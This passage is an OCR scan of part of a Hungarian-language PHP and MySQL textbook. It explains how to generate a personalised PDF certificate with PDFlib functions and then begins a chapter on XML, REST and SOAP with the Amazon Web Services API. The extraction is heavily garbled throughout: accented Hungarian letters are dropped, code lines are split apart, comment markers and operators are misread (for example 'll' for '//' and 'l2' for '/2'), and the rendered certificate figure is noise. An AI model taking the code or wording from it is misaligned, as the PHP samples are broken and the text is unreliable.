792 pont. Ez azt jelenti, hogy a

Perszanalizlt PDF dokumentumok ellltsa

555

PDF dokumentumokat nem csupn nyomtatsi clbl kszchetnk. Olyan PDF funkcikat is tarcalmazhatnak, mint pl
dul a hiperhivatkozsok s a knyvjelzk. A pdf_add_outline{) fggvny knyvjelzt ad a dokumentumhoz. A knyvjel
zk az Acrobat Readernek a dokumentumtl elklntett paneljn jelennek meg, s lehetv teszik, hogy egybl a hivatkozott
rszre ugorjunk.
A
pdf_add_bookmark{$pdf,

'l oldal', O,

0);

sorl. oldal felirat, az aktulis oldalra mutat knyvjelzt ad dokumentumunkhoz.


Az elrhet bettpusok kre opercis rendszerenknt, st akr szmtgpenknt is eltrhet. A rninden krlmnyek
kzte egyformn megjelen kimenet rdekben olyan alap bettpusokat rdemes hasznlni, amelyek rninden PDF-olvasban
megfelelen mkdnek. A tizenngy ilyen alaptpus a kvetkez:
Courier
Courier-Bold
Courier-Oblique
Courier-BoldOblique
Helvetica
Helvecica-Bold
Helvetica-Oblique

Helvetica-BoldOblique
Times-Roman
Times-Bold
Times-Icalic
Times-Boiditalic

Symbo!

ZapfDingbats

Az ettl eltr bettpusokat begyazhatjuk a dokumentumokba, m ez egyrszt nveli a fjlmretet, msrszt pedig nem
mindegy, hogy rnilyen licenccel rendelkeznk az adott bettpusra vonatkozan. A kvetkezkppen vlaszthatjuk ki a bett

32

pusr, mrett s karakcerkdolst:


$betutipus = pdf_findfont($pdf,

'Times-Roman',

'host',

0);

pdf_setfont{$pdf, $betutipus, 24);

A betrnretet pontokban adjuk meg. Pldnkban host tpus karakterkdolst vlasztottunk. A lehetsges rtkek
a winansi, a b uiltin, a macroman,

az

ebedic s a host. Ezek

az

rtkek az albbi jelentssei brnak:

winansi-Az ISO 8859-1 karakterkszletet, illetve a Microsoft ltal hozzadott klnleges karaktereket (pldul

az

eur jelet) hasznlja.


bui l tin -A bettpusba beptett kdolst hasznlja. lcalban nem latin betcpusoknl, valamint szimblumoknl

vlasztjuk ezt a belltst.


macroman-Mac Roman kdolst hasznl. Macintosh alatt ez az alaprtelmezett karakterkszlet.
ebedic-Az IBM AS/400 rendszereken hasznlt EBCDIC karakterkszletet hasznlja.
host- Macintosh alatt automatikusan a macroman, EBCDIC-alap rendszer esetn az ebedic, minden ms rend

szeren a winansi lehetsget vlasztja.


Egy PDF dokumentum nem olyan, rnint egy HTML vagy egy szvegszerkesztben ellltott. A szveg nem fog automa
tikusan az oldal bal fels sarkban kezddni s magtl sorokra trni. Magunknak kell meghatrozni, hogy hova helyezzk az
egyes szvegsorokat. Ahogy mr jeleztk, a PDF pontokban hatrozza meg az oldalon belli helyeket. Az orig (a (O, O)
koordinta)
Mivel

az

az

x, y

oldal bal als sarkban tallhat.

oldalmtet 595

842 pont, az (50, 700) pont a lap bal szltl krlbelll,6 centimterre, fellrl pedig 5 centi

mterre helyezkedik el. Az albbi kdsorral lltjuk be erre a pontea a szveg helyt:
pdf_set_text_pos{$pdf,

50,

700);

Az oldalbellts utn vgre szveget is rhatunk r. A pdf_show{) fggvnyt meghvva rhatunk a kivlasztott bettpus
sal

az

oldal aktulisan megadott pontjra. A

pdf_show($pdf, 'Hell, vilg!');


"
sor a,.Hell, vilg! szveget adja a dokumentumhoz.

Ha szecetnnk a kvetkez sorba tovbbi szvegec rni, a pdf_continue_text{) fggvnyt kell meghvnunk. A ,.{
mondja a PHP)"karakcerlncot a
pdf_continue_text{$pdf,'{- mondja a PHP)');

fggvnnyel tudjuk a szveghez adni.

556

32.fezer

Ennek a sornak a ponros helye a kivlasztott bettpusrl s -mrettl fgg. Ha sorok vagy kifejezsek helyett folyamaros
bekezdseker szerernnk rni, akkor hasznljuk inkbb a pdf _show_boxed() fggvnyt, amelyben megadharunk egy szveg
dobozt, amibe a szveget szeretnnk folyatni!
Miutn hozzadtuk az oldalhoz annak teljes tattalmt, a pdf_end_page () fggvnyt kell meghvnunk:
pdf_end_page($pdf);

Ha elkszltnk a teljes PDF dokumenrummal, be kell zrnunk a pdf_elose () fggvnnyeL A


pdf_close($pdf);

sorral r vget a.Hell, vilg!" dokumentum ltrehozsa.


Most mr elkldherjk a ksz PDF-er a bngsznek:
$adat = pdf_get_buffer($pdf);

ll hozzuk ltre a fejlcet,

hogy segtsnk a bngsznek

ll a megfelel alkalmazst kivlasztani!


header('Content-Type:

application/pdf');

header('Content-Disposition:
header('Content-Length:

inline;

filename=tesztpdf.pdf');

' . strlen($adat));

ll PDF kimenet ltrehozsa


echo $adat;

Ha gy tetszik, merevlemezre is rhatjuk az adatot. Ezt gy tehetjk meg, hogy a pdf_open_file () fggvnynek msodik
paramterknt radunk egy fjlnever.
rdemes megemlteni, hogy a PHP kziknyvben opcionlis PDF!ib fggvnyparamterknt dokumentlt paramterek
a PDF!ib egyes verziiban ktelezk is lehetnek. Az oklevl dokumentuma viszonylag bonyolult, szeglye, vektoros s pixel
grafikus kpet egyarnt tartalmaz.A korbban hasznlt kt mdszernl ezek egy szvegszerkesztvel knnyen hozzadhark
a dokumenrumhoz. PDF!ib fggvnyek hasznlata esetn sajt kezleg kell ezeket az oldalhoz hozzadnunk.

32

Az oklevl ellltsa PDFlib fggvnyekkel


A PDF!ib fggvnyek hasznlarakor bizonyos kompromisszumokra knyszerlnk.Br szinte egy

az

egyben le tudnnk m

solni a korbban hasznlt oklevelet, rengeteg erfesztsnkbe kerlne az egyes dsztelemek ellltsa s elhelyezse, mikz
ben olyan szvegszerkeszrvel, minr pldul a Microsoft Word, gyerekjtk a dokumentum elksztse.
A korbban ltott szveger szeretnnk hasznlni, illerve meg akarjuk jelenteni a dszszalag vekroros grafikjr s a pixelgra
fikus alrsr is, de a dszszegly ellltsrl elrekintnk.A 32.6 pldakdban talljuk a PDF fjlt elllr teljes kdot.
32.6 pldakd: pdflib.php-Az oklevl ellltsa PDFlib fggvnyekkel
<?php

ll rvid vltoznevek ltrehozsa


$nev =$ POST['nev'];
$teszteredmeny

l l

if(!$nev

$ POST['teszteredmeny'];

! $teszteredmeny) {

echo "<hl>Hiba:</hl>
<p>Az oldal meghvsa nem sikerlt. </p>";
else

$datum

date('Y.m.d.');

ll pdf dokumentum ltrehozsa a memriban


$pdf

pdf new();

pdf_open_file($pdf,

"");

ll a bettpus nevnek belltsa


$betutipus neve = 'Times-Roman';

Perszonalizlt PDF dokumentumok ellltsa

557

ll oldalmret belltsa pontokban s az oldal ltrehozsa


ll az A4-es lap 595

842 pont

$szelesseg = 842;
$magassag

595;

pdf_begin_page($pdf,

$szelesseg,

$magassag);

ll szeglyek rajzolsa
$margo = 20;
$szegely =

ll a szegly s a lap szle kztti tvolsg

10;

$terkoz = 2;

ll a szegly f vonalnak vastagsga

ll a vastag s a vkony szeglyek kztti tvolsg

ll kls szegly rajzolsa


pdf_rect($pdf,

$margo-$terkoz,
$margo-$terkoz,
$szelesseg-2*($margo-$terkoz),
$magassag-2*($margo-$terkoz));

pdf_stroke($pdf);

ll a $szegely pont vastagsg f szeglyvonal rajzolsa


pdf_setlinewidth($pdf,
pdf_rect($pdf,

$szegely);

$margo+$szegelyl2,
$margo+$szegelyl2,
$szelesseg-2*($margo+$szegelyl2),
$magassag-2*($margo+$szegelyl2));

pdf_stroke($pdf);
pdf_setlinewidth($pdf,

1.0);

32

ll bels szegly rajzolsa


pdf_rect($pdf,

$margo+$szegely+$terkoz,

\.

$margo+$szegely+$terkoz,
$szelesseg-2*($margo+$szegely+$terkoz),
$magassag-2*($margo+$szegely+$terkoz));
pdf stroke($pdf);

ll fcm hozzadsa
$betutipus = pdf_findfont($pdf,
if ($betutipus)

$betutipus_neve,

'host',

0);

pdf_setfont($pdf,

$betutipus,

48);

Sstartx = ($szelesseg - pdf stringwidth($pdf,


$betutipus,
pdf_show_xy($pdf,

'PHP oklevl',

'12'))12;

'PHP oklevl',

$startx,

490);

ll szveg hozzadsa
$betutipus = pdf_findfont($pdf,
if ($betutipus)

pdf_setfont($pdf,

$startx

$betutipus_neve,

'host',

0);

{
$betutipus,

26);

70;

pdf_show xy($pdf,

'Ez a dokumentum tanstja,

pdf_show_xy($pdf,

strtoupper($nev),

$betutipus = pdf_findfont($pdf,
if ($betutipus)

hogy',

$startx+90,

$betutipus_neve,

$startx,

391);

'host',

0);

430);

558

32. fejezet

pdf_setfont($pdf,

pdf_show_xy($pdf,

$betutipus,

20);

'jogosult az oklevlre,

mert tudsrl szmot adott' ,

$startx,

340);
pdf_show_xy($pdf,

'a hrom krdsbl ll szigor vizsgn.',

pdf show xy($pdf,

"$nev vizsgaeredmnye $teszteredmeny". '%.',

$startx,

pdf_show_xy($pdf,

'A vizsgt sszelltotta s felgyelte a ',

pdf_show_xy($pdf,

'Kpzeletbeli PHP Minst Intzmny',

pdf_show_xy($pdf,

"$datum napjn",

pdf_show_xy($pdf,

'Kiadta:',

$startx,

$startx,

310);

$startx,

$startx,

$startx,

260);

210);

180);

150);

100);

ll az alrst tartalmaz pixelgrafikus kp hozzadsa


$alairas

pdf load_image($pdf,

'png',

'/Program

Files/Apache

Software

Foundation/Apache2.2/htdocs/php_es_mysql/32_fejezet/alairas.png',
pdf_fit_image($pdf,

$alairas,

pdf close image($pdf,

200,

75,

'');

'');

$alairas);

ll dszszalag szneinek belltsa


pdf_setcolor ($pdf,

'both',

'cmyk',

43/255,

pdf_setcolor ($pdf,

'both',

'cmyk',

1/255,

ll l. szalag rajzolsa

32

pdf_moveto($pdf,

630,

pdf_lineto($pdf,

610,

150);
55);

pdf_lineto($pdf,

632,

69);

pdf_lineto($pdf,

646,

49);

pdf_lineto($pdf,

666,

150);

pdf_closepath($pdf);
pdf_fill($pdf);

ll l.

szalag krvonala

pdf_moveto($pdf,

630,

pdf_lineto($pdf,

610,

150);
55);

pdf_lineto($pdf,

632,

69);

pdf lineto($pdf,

646,

49);

pdf lineto($pdf,

666,

150);

pdf_closepath($pdf);
pdf_stroke($pdf);

ll 2. szalag rajzolsa
pdf_moveto($pdf,

660,

150);

pdf_lineto($pdf,

680,

49);

pdf lineto($pdf,

695,

69);

pdf lineto($pdf,

716,

55);

pdf_lineto($pdf,

696,

150);

pdf_closepath($pdf);
pdf_fill($pdf);

ll 2.

szalag krvonala

pdf_moveto($pdf,

660,

150);

pdf_lineto($pdf,

680,

49);

pdf_lineto($pdf,

695,

69);

49/255,
1/255,

1/255,

1/255,

67/255);

1/255);

ll sttkk

// fekete

Pers:z;onalizlt PDF dokumentumok ellltsa

pdf_lineto($pdf,

716,

55);

pdf_lineto($pdf,

696,

150);

559

pdf_closepath($pdf);
pdf_stroke($pdf);
pdf_setcolor ($pdf,

'both',

'cmyk',

1/255,

81/255,

81/255,

175,

32,

57,

10,

$pdf,

true);

175,

32,

57,

10,

$pdf,

false);

20/255);

// vrs

//fejrsz rajzolsa
csillag_rajzolsa(665,

//fejrsz krvonala
csillag_rajzolsa(665,

ll az oldal befejezse s a kimenet elksztse


pdf_end_page($pdf);
pdf_close($pdf);
$adat = pdf_get_buffer($pdf);

ll hozzuk ltre a fejlcet,

hogy segtsnk a bngsznek

ll a megfelel alkalmazst kivlasztani!


header('Content-type:

application/pdf');

header('Content-disposition:
header('Content-length:

'

inline;

filename=test.pdf');

strlen($adat));

ll PDF kimenet elksztse

/'

echo $adat;

function csillag_rajzolsa($kozeppontx,
$ag_merete,
$belso_sugar

for ($i = 0;

$i<=$agak*2;

$kozepponty,
$pdf,

$sugar-$ag_merete;

$i++)

$szog= ($i*2*pi())/($agak*2);

if($i%2)

$x = $sugar*cos($szog)

$kozeppontx;

$y = $sugar*sin($szog)

$kozepponty;

else
$belso_sugar*cos($szog) + $kozeppontx;

$x

$y = $belso_sugar*sin($szog) + $kozepponty;

if($i==0)
pdf_moveto($pdf,

$x,

$y);

else if ($i==$agak*2)

pdf_closepath($pdf);
else

pdf_lineto($pdf,

$x,

if($kitoltve)
pdf_fill_stroke($pdf);
else

pdf_stroke($pdf);

$y);

$agak,

$kitoltve)

$sugar,

32

560

32. fejezet

?>
A kddal elllitott oklevelet a 32.7 brn ltjuk. Nagyon hasonl a korbbiakhoz, csak a szeglye egyszerbb, s a szalagon
a csillag kicsit mshogy nz ki. Ennek oka, hogy a dszszalagot megrajzolruk, nem pedig meglv grafikt helyeztnk a doku
mentumba.

L...----*
.....

t'.i!

.-:

li'iOJ eM. e;;-.!:t3.-:--

-
Yf

PHP Certification
This is rocertifythat:
JANEOOE

... t.y-"".....-. . .;...-


.._.....o!lbru-Jripk.,.,_,.
.... ----....s

ll
ll

Tbc-----""lhc
FktioPallao.ti""o!PHPC

.. .NtylO.lOOl..

,.,,

l H' o o.......__

32.7 bra: A pdflib. php kd PDF dokumentumba rajzolja az oklevelet.


Nzzk mosr meg a kd azon rszeit, amelyek eltrnek a korbbi pldkban ltottaktl!
A ltogatk sajt adataikat szeremk ltni az oklevlen, ezrt a memriban, nem pedig fjlba rva hozzuk ltre a dokumen

32

tumot. Ha fjlba rnnk, egyedi fjlneveket elllt mechanizmusta is szksgnk lenne, valamilyen mdszerrel meg kellene
akadlyoznunk, hogy a felhasznlk hozzfrjenek msok okleveleihez, illetve meg kellene tallni annak a mdjt, hogyan lehet
a rgebbi okleveleket trlve szabad terlethez jutni a kiszolgln.
Dokumeorum memriban val ltrehozshoz paramterek nlkl hvjuk meg a pdf _new () fggvnyt, majd meghvjuk
a pdf _open _file() fggvnyt is, ahogy tettk azt kdunkban is:
$pdf

pdf new();

pdf_open_file($pdf,

"");

Az egyszerstett szegly tulajdonkppen hrom keretbl ll: egy vastagabb s kt vkony keretbl, amelyek kzl az egyik
a vasrag szeglyen kivl, a msik pedig bell helyezkedik el. A hrom kereter tglalapknt fogjuk megrajzolni.
Annak rdekben, hogy a szeglyeket gy helyezzk el, hogy a ksbbiekben egyszeren mdosthassuk az oldalmretet
vagy a szeglyek megjelenst, a szeglyek pozcionlsra vltozkat hasznlunk: Sszelesseg s $magassag, illetve
$margo, $szegely s $terko z. A $margo vltozval hatrozzuk meg azt, hogy hny pontnyira van a szegly az oldal

szlrl, a $szegely a legersebb szegly vastagsgt adja meg, a $terkoz pedig a vastag s a vkony szeglyek kztti t
volsgot trolja.
Ha rajzolrunk mr ms grafikus alkalmazsprogramozsi fellettel (API), a PDF!ib knyvtrral val rajzols nem sok j
donsgot tartogat szmunkra. Ha nem olvastuk el a Kpek ellltsa cm 22. fejezetet, rdemes lehet most megtennnk, mert
a kpek gd knyvtrral val rajzolsa nagyon hasonl a PDF!ib knyvtrral trtn rajzolshoz.
A vkony szeglyek ellltsa gyerekjtk. Tglalapot a pdf_rect ( ) fggvnnyel hozharunk ltre, amely paramterknt
a PDF dokumeorum azonostjt, a tglalap bal als sarknak

s y koordintjt, illetve a tglalap szlessgt s magas

sgt vrja. Mivel rugalmas kialakits dokumenrumra van szksgnk, a belltott vltozkbl szmtjuk ki ezeket az
rtkeket:
pdf_rect($pdf,

$margo-$terkoz,

$margo-$terkoz,
$szelesseg-2*($margo-$terkoz),
$magassag-2*($margo-$terkoz));

A pdf_rect () meghvsa ltrehozza a tglalap alak grbt (path). Az alakzat megrajzolshoz meg kell hvni
apdf_stroke() fggvnyt:
pdf_stroke($pdf);

Perszanalizlt PDF dokumentumok ellltsa

561

A kzps,vastag szegly megrajzolshoz meg kell adni a vonalvastagsgot. Az alaprtelmezett vastagsg l pont. A pdf_
albbi meghvsa a $szegely rtkre, jelen esetben 10 pontra lltja a vonalvastagsgot:

setlinewidth()

pdf_setlinewidth($pdf,

$szegely);

A belltott vonalvastagsggal ismt lttehezunk egy tglalapot (a pdf_rect() fggvnnyel),majd meghvjuk a pdf_
stroke() fggvnyt,hogy megrajzolja azt:
pdf_rect($pdf,

$margo+$szegely/2,

$margo+$szegely/2,
$szelesseg-2*($margo+$szegely/2),
$magassag-2*($margo+$szegely/2));
pdf_stroke($pdf);

A vasrag vonal megrajzolsa utn ne felejtsk el visszalltani a vonalvastagsgot


pdf_setlinewidth($pdf,

pontra:

1.0);

A pdf_show_xy () fggvnnyel helyezzk el azoklevlen a szvegsorokat. A sarok tbbsgnl bellthat rtket adunk
a bal marg x koordintjnak ($startx) , az y koordintt pedig szemmctk alapjn vlaszguk ki. Mivel a cmsort vzszin
tesen kzpre szeretnnk igaztani, meg kell llaptani a szlessgt ahhoz, hogy a bal szlt megfelel pozciba helyezhessk.
Karakterlnc szlessgt a pdf_stringwidth () fggvnnyel derthetjk ki. A
pdf_stringwidth($pdf,

'PHP oklevl',

$betutipus,

'12')

fggvnyhvs az adott bettpussal s mretben szedett 'PHP oklevl'szering szlessgt adja vissza.
Ugyangy, mnt az oklevl tbbi vltozatban,most is szkennelt kpknt szrjuk be az alrst. Az albbi hrom utasts
$alairas

pdf_load_image($pdf,

'png',

'/Program

Files/Apache

Software

Foundaton/Apache2.2/htdocs/php_es_mysql/32_feJezet/alairas.png',
pdf_fit image($pdf,

$alairas,

pdf_close image($pdf,

200,

75,

'');

'');

$alairas);

megnyiga az alrst tartalmaz PNG fjlt, a meghatrozott helyen hozzadja a kpet az oldalhoz,majd bezrja a kpfjlt.
A PNG helyett termszetesen ms fjltpust is hasznlhatunk.

Megjegys: Amikor a pdf_load_image() fggvnnyel tltnk be kpet, a fjl teljes elrsi tvonalt meg kell adni. A pl
dban az alairas.pngfjl Windows rendszeren lv elrsi tvonalt ltjuk.

Az oklevl PDFlib fggvnyekkel trtn elksztsnek legnehezebb rsze a dszszalag hozzadsa. Azt ugyan nem tehegk meg, hogy automatikusan megnyiguk s beillesztjk a grafikt tartalmaz Windows metafjlt, de alakzatokat tetszs
szerint rajzolhatunk.
A szalagokat mintz kitlttt alakzatot az albbi kddal rajzolhatjuk meg. A krvonal sznt feketre, a kitltsznt pedig
sttkkre lltjuk:
pdf setcolor ($pdf,

'both',

'cmyk',

pdf_setcolor ($pdf,

'both',

'cmyk',

43/255,
l/255,

49/255,
1/255,

1/255,

1/255,

67/255);// sttkk

1/255);ll fekete

toldal sokszgbl ltrehozzuk az egyik szalagot, majd kitlgk:


pdf_moveto($pdf,

630,

150);

pdf_lineto($pdf,

610,

55);

pdf_lineto($pdf,

632,

69);

pdf_lineto($pdf,

646,

49);

pdf_lineto($pdf,

666,

150);

pdf_closepath($pdf);
pdf_fill($pdf);

Mivel krvonalat is szeretnnk a sokszg kr,megint ltre kell hozni ugyanazt a grbt, de ezttal a pdf_stroke (),nem
pedig a pdf_fill() fggvnyt hvjuk meg r.
A sokg csillag bonyolult, ismtld alakzat, fggvnyt rtunk a grbe pozcijnak kiszmtsra. Fggvnynk neve
csillag_raj zolsa (),s paramterknt a csillag kzppontjnak x s y koordintjt, gainak szmt, sugart s hosszt,
a PDF dokumentum azonostjt, illetve egy Boole-i rtket vr, amely azt hatrozza meg, hogy ki legyen tltve a csillag,vagy
csupn krvonala legyen.

32
'-

562

32. fejezet

A csillag_ raj zolsa () fggvny trigonometriai szmtsokkal hatrozza meg a csillag cscsainak helyt. Ahny g
csillagot szecetnnk rajzolni, annyi pontot kapunk a csillag kzppongtl sugrnyi tvolsgra, s ugyanennyi pontot egy olyan
kisebb krn, amely a kls (a sugr ltal meghatrozott) krtl az $ag_mere te tvolsgra van. A kt krn lv pontokat
egy-egy vonallal kgk ssze. rdemes megjegyezni, hogy a PHP trigonometrikus fggvnyei, gy pldul a cos () s a sin()
fokok helyett radinban szmol.
Egy megfelel fggvnnyel s nmi matematikai szmolssal pontosan elllthacunk akr bonyolultabb ismtld alakzato
kat is. Ha kifinomultabb szeglye szecetnnk adni az oldalhoz, hasonl mdszerrel azt is megrehetnnk.
Ha az oklevl sszes elemr elksztettk, be kell zrnunk az oldalt s a dokumentumot.

Fejlcekkel kapcsolatos problmk kezelse


A fenti kdokban szerepl apr, de fontos dologra szecetnnk felhvni a figyelmet: tudatni kell a bngszvel, hogy milyen t
pus adatot kvnunk kldeni neki. A tartalomtpus HTTP fejlc elkldsvel tehegk ezt meg, pldul gy:
header('Content-type:

application/sword);

vagy
header('Content-type:

application/pdf');

Nem rt tudni azt sem, hogy a bngszk nem egysges mdon kezelik ezeket a fejlceket. Elssorban az Internet Explorer
hajlamos gy dnteni, hogy figyelmen kvl hagyja a MIME-tpust, s megksrli automatikusan meghatrozni a f:ijltpust.
(Az Internet Explorer jabb verziiban javulni ltszik a helyzet, gy ha ilyen problmt tapasztal unk, a legegyszerbb megolds
bngsz nk frisstse lehet.)
Egyes fejlcek problmkat okoznak munkamenec-vezrls esetn. Tbbflekppen orvosolhatjuk ezeket. Mi szemly szerint
azt tapasztaltuk, hogy a

POST

paramterek vagy a munkamenec-vlcoz paramcerei helyett GET paramtereket hasznlva

megolddik ez a problma. Egy msik lehetsges megolds, ha nem online PDF-et hasznlunk, hanem letltegk a dokumen
tumot a felhasznlval, ahogy tettk azt a,.Hell, vilg!" PDFlib-pldban. gy is elkerlhegk a problmkat, ha kiss eltr
verzikban hozzuk ltre kdunkat, s a leginkbb eleerjedt bngszkre optimalizljuk az egyes vltozatokat.

32

A projekt tovbbfejlesztse
Ha valamivel komolyabb tennnk a pldban szerepl vizsgt s rtkelst, akkor sokkal szlesebb krben hasznlhatnnk a ki
fejlesztett alkalmazst, m clunk jelen esetben csupn az volt, hogy bemutassuk, hogyan lltsunk el sajt dokumentumokat.
Az online tadhat perszanalizlt dokumentumok krbe tartoznak pldul a jogi dokumentumok (szerzdsek stb.),
a rszben elre kitlttt megrendel- vagy jelentkezsi lapok, illetve a kzintzmnyek ltal hasznlt rlapok.

Hogyan tovbb:
A kvetkez fejezeeben a PHP XML funkciit fogjuk grcs al venni, s arra hasznljuk a PHP-t, hogy REST s SOAP
segtsgvel csatlakozzunk az Amazon Web Services API-jhoz.

33
Kapcsolds az Amazon Web Services
fellethez XML s SOAP segtsgvel
Az elmlt vekben fontos kommunikcis eszkzz vlt az Extensible Markup Language (kiterjeszther ler nyelv, XML).

Fejezetnkben az Amazon Web Services fellett felhasznlva bevsrlkosarat fejlesztnk honlapunkra, amelynek mgrres
feldolgozrendszere (back end) az Amazon lesz. (Alkalmazsuk neve Tahuayo, amely egybknt az Amazonas mellkfolyja.)
Kt klnbz, egy SOAP s egy REST alap mdszert hasznlunk. A REST-et XML over HTTP-nek, vagyis HTTP pro
tokollon keresztli XML-nek is szoks nevezni. A PHP bepterr SimpleXML knyvtrr, illetve a kls NuSOAP knyvt
rat fogjuk ignybe venni e kr mdszer megvalsrsra.
A fejezetben az albbi tmakrkkel foglalkozunk:
Az XML s a Web Services alapjainak megismerse
Az XML hasznlara az Amazonnal val kommuniklsra
XML feldolgozsa a PHP SimpleXML knyvrrval
Vlaszok gyorsrtrazsa
Kommunikci az Amazonnal a NuSOAP knyvtr segtsgvel

A projekt ttekintse: XML s a Web Services hasznlata


Jelenlegi projektnkkel kt clunk van: az els, hogy megismerjk az XML s a SOAP alapjait, s megrtsk, hogyan dolgoz
harunk velk PHP-ben. A msik, hogy ezeker a technolgikat egyttesen hasznlva kommunikljunk a klvilggal. Pldnk
hoz az Amazon Web Services programjr vlasztottuk, amely sajt weboldalunk esern is hasznosnak bizonyulhat.
Az Amazon mr rgra kinlja partnerprogramjt, amely lehetv teszi, hogy az Amazon ltal forgalmazorr termkeket
hirdessnk sajt honlapunkon. A felhasznlk a hivatkozsokat kvetve az Amazon oldaln lv termkoldalakra jumak. Ha
valaki a mi oldalunkon tall meg egy adott termker, majd megveszi, jutalkot kaphatunk.
A Web Services program lehetv teszi szmunkra, hogy mintegy motorknt hasznljuk az Amazon infrasrruktrjt: sajt
oldalunkrl kereshetnk az adatbzisban, s jelenthetjk meg a tallatokar, vagy amig a felhasznl oldalunkar bngszi, ko
sarba tehetjk az ltala kivlasztorr termkeket. Ez azt jelenti, hogy a ltogat egszen a fizetsig a rni oldalunkar hasznlja,
majd amikor fizetsre kerl a sor, akkor jur t az Amazon oldalra.
Oldalunk s az Amazon kzrr krflekppen trtnhet a kommunikci. Az els mdszer az XML over HTTP haszn
lata, amit szoks Representarional State Transfernek (REST), azaz reprezentcis llapottvitelnek nevezni. Ha pldul kere
sst szeretnnk lefolytatni ezzel a mdszerrel, szoksos HTTP krst kldnk a kivnt informcirt, arnire az Amazon a krt
adarokat tartalmaz XML dokumentummal vlaszol. Ezt kveten feldolgozzuk ezt az XML fjlt, majd tetszs szerinti fel
letet vlasztva megjelentjk a vgfelhasznlnak az eredmnyeket. Az adatok HTTP-n keresztli kldse s fogadsa nagyon
egyszer, de hogy mennyire bonyolult lesz az eredmnyl kaporr dokumentum feldolgozsa, az annak sszetettsgrl fgg.
Az Amazonnal folytarorr kommunikci msik mdszere a SOAP hasznlata. A SOAP egyike a Web Services szabvnyos
protokolljainak. A nv eredetileg a Simple Object Access Protocol (egyszer objektum-hozzfrsi protokoll) rvidtse volt,
de ksbb gy dntttek, hogy a protokoll mgsem annyira egyszer, s gy neve kiss flrevezet. A vgeredmny az lett, hogy
a protokollt tovbbra is SO AP-nak hvjuk, de immr nem betsz.
Projektnkben SOAP klienst fejlesztnk, amely elkldi a krseket az Amazon SOAP szervernek, s fogadja az attl ka
port vlaszokat. Ezek ugyanazokat az informcikat tartalmazzk, rnint az XML over HTTP mdszerrel kaport vlaszok, de
ms megkzeltst, egszen pontosan a NuSOAP knyvtrat fogjuk hasznlni az adatok kinyersre. Projektnk vgs clja
sajt knyvrtkest weboldalunk ltrehozsa, amely az Amazont hasznlja mgttes alkalmazsknt. Kt alternatv vltoza
tot fejlesztnk: az egyiket REST-tel, a msikat SOAP-pal.

564

33. fejezet

Mieltt rtrnnk alkalmazsunk alkotelemeinek bemutatsra, sznjunk egy kis idt arra, hogy megismerjk az XML
szerkezett s hasznlatr, illetve ltalnossgban a Web Services felletet!

Ismerkeds

az

XML-lel

Azok szmra, akik mg nem ismerik az XML-t s a Web Services programot, a kvetkez oldalakon rviden bemutatjuk
ket.
Az imnt mr rtuk, hogy az XML az Extensible Markup Language rvidtse, jelentse kiterjeszthet ler nyelv. Specifik

cijt a W3C konzorcium ksztette. Az XML-rl rengeteg informcit tallunk a W 3C XML-rl szl oldaln: http://www.
w3.org/XML/.
Az XML a Standard Generalized Markup Language (SGML) egyszerstett rszhalmaza. Ha ismerjk mr a HTML-t,
vagyis a hiperszveg-ler nyelvet, akkor knnyedn megrtjk majd az XML fogalmait is. (Ha netaln nem ismernnk mg
a HTML-t, akkor a rossz vgn kezdtk olvasni ezt a knyvet!)
Az XML dokumentumok cmke- (tag) alapszveges formtumok. A 33.1 pldakdban pldaknt kzlt XML dokumen
tum az Amazon ltal- adott paramterekkel rendelkez XML over HTTP krsre- kldtt vlasz. (A projekt kdjaiban
a korbbi fejezetektl eltrerr- nem fordtjuk le a vltozkat, fggvnyeket stb., illetve a bngszben megjelen szveges ele
meket. Mivel kdunk az Amazonnal fog kommuniklni, ragaszkodnunk kell az Amazon ltal megkvetelt vltoznevekhez.)
33.1 pldakd: A knyvnk els kiadst ler XML dokumentum
<?xml version="l.O" encoding="UTF-8"?>
<ItemLookupResponse
xmlns="http://webservices.amazon.com/AWSECommerceService/2005-03-23">
<Items>
<Request>
<IsValid>True</IsValid>
<ItemLookupRequest>
<IdType>ASIN</IdType>
<Itemid>0672317842</Itemid>
<ResponseGroup>Similarities</ResponseGroup>
<ResponseGroup>Small</ResponseGroup>
</ItemLookupRequest>

33

</Request>
<Item>
<ASIN>0672317842</ASIN>
<DetailPageURL>http://www.amazon.com/PHP-MySQL-Development-Luke
Welling/dp/0672317842%3F%26linkCode%3Dspl%26camp%3D2025%26creative%3D165953%26crea
tiveASIN%300672317842
</DetailPageURL>
<ItemAttributes>
<Author>Luke Welling</Author>
<Author>Laura Thomson</Author>
<Manufacturer>Sams</Manufacturer>
<ProductGroup>Book</ProductGroup>
<Title>PHP and MySQL Web Development</Title>
</ItemAttributes>
<SimilarProducts>
<SimilarProduct>
<ASIN>1590598628</ASIN>
<Title>Beginning PHP and MySQL: From Novice to Professional,
Third Edition

{Beginning from Novice to Professional)</Title>

</SimilarProduct>
<SimilarProduct>
<ASIN>032152599X</ASIN>

Kapcsolds az Amazon Web Services fellethez XML s SOAP segtsgvel

<Title>PHP

6 and MySQL 5

565

for Dynamic Web Sites:

Visual QuickPro Guide</Title>


</SimilarProduct>
<SimilarProduct>
<ASIN>BOOOOSUL4F</ASIN>
<Title>JavaScript Definitive Guide</Title>
</SimilarProduct>
<SimilarProduct>
<ASIN>l590596145</ASIN>
<Title>CSS Mastery:

Advanced Web Standards Solutions</Title>

</SimilarProduct>
<SimilarProduct>
<ASIN>0596005431</ASIN>
<Title>Web Database Applications with PHP

&amp;

MySQL,

2nd Edition</Title>
</SimilarProduct>
</SimilarProducts>
</!tem>
</Items>

A dokumentum az albbi sorral kezddik:


<?xml version="!.

o" encoding="UTF-8"?>

Ez a szabvnyos deklarci azt jelzi, hogy a most kvetkez dokumentum UTF-8 karakterkdolst hasznl XML lesz.
Nzzk meg most a dokumentum trzst! Az egsz dokumentum nyit s zr cmkeprokbl ll, olyanokbl, rnint pldul
a nyit s zr !tem cmke:
<!tem>

</!tem>

Az !tem pontosan olyan elem, rnint arnilyenekkel HTML-ben tallkozhatunk. St, a HTML-hez hasonlan itt is begyaz
hatjuk az elemeket, rnint ahogy azt a fenti pldban az !tem elemen bell az ItemAttributes elemmel tettk, amin bell tovbbi
elemeket (pldul Author) tallunk:
<ItemAttributes>
<Author>Luke Welling</Author>
<Author>Laura Thomson</Author>
<Manufacturer>Sams</Manufacturer>
<ProductGroup>Book</ProductGroup>
<Title>PHP and MySQL Web Development</Title>

Ugyanakkor nhny klnbsget is meg kell emltennk a HTML-hez kpest. Az els, hogy rninden nyitcmkhez
zrcmke is szksges. Kivtelt kpeznek e szably all az res elemek, amelyek- rnivel nem tartalmaznak szveget- egyet
